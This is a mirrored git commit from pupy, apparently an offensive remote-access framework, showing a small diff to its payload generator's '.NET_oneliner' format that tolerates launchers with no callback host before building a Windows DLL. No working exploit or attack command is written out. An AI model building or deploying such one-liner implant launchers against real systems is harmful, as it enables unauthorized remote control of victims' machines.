mirror of https://github.com/n1nj4sec/pupy.git
pupyge/.NET_oneliner - fix (?) case with non-connect payloads
This commit is contained in:
parent
b7f05645d6
commit
b8faa78da1
|
@ -757,8 +757,13 @@ def pupygen(args, config, pupsrv, display):
|
||||||
raise NoOutput()
|
raise NoOutput()
|
||||||
|
|
||||||
elif args.format == '.NET_oneliner':
|
elif args.format == '.NET_oneliner':
|
||||||
i = conf['launcher_args'].index('--host')+1
|
link_ip = None
|
||||||
link_ip, _ = conf['launcher_args'][i].split(':',1)
|
try:
|
||||||
|
i = conf['launcher_args'].index('--host')+1
|
||||||
|
link_ip, _ = conf['launcher_args'][i].split(':',1)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
|
||||||
rawdll = generate_binary_from_template(
|
rawdll = generate_binary_from_template(
|
||||||
display, conf, 'windows', arch=args.arch, shared=True, debug=args.debug)[0]
|
display, conf, 'windows', arch=args.arch, shared=True, debug=args.debug)[0]
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue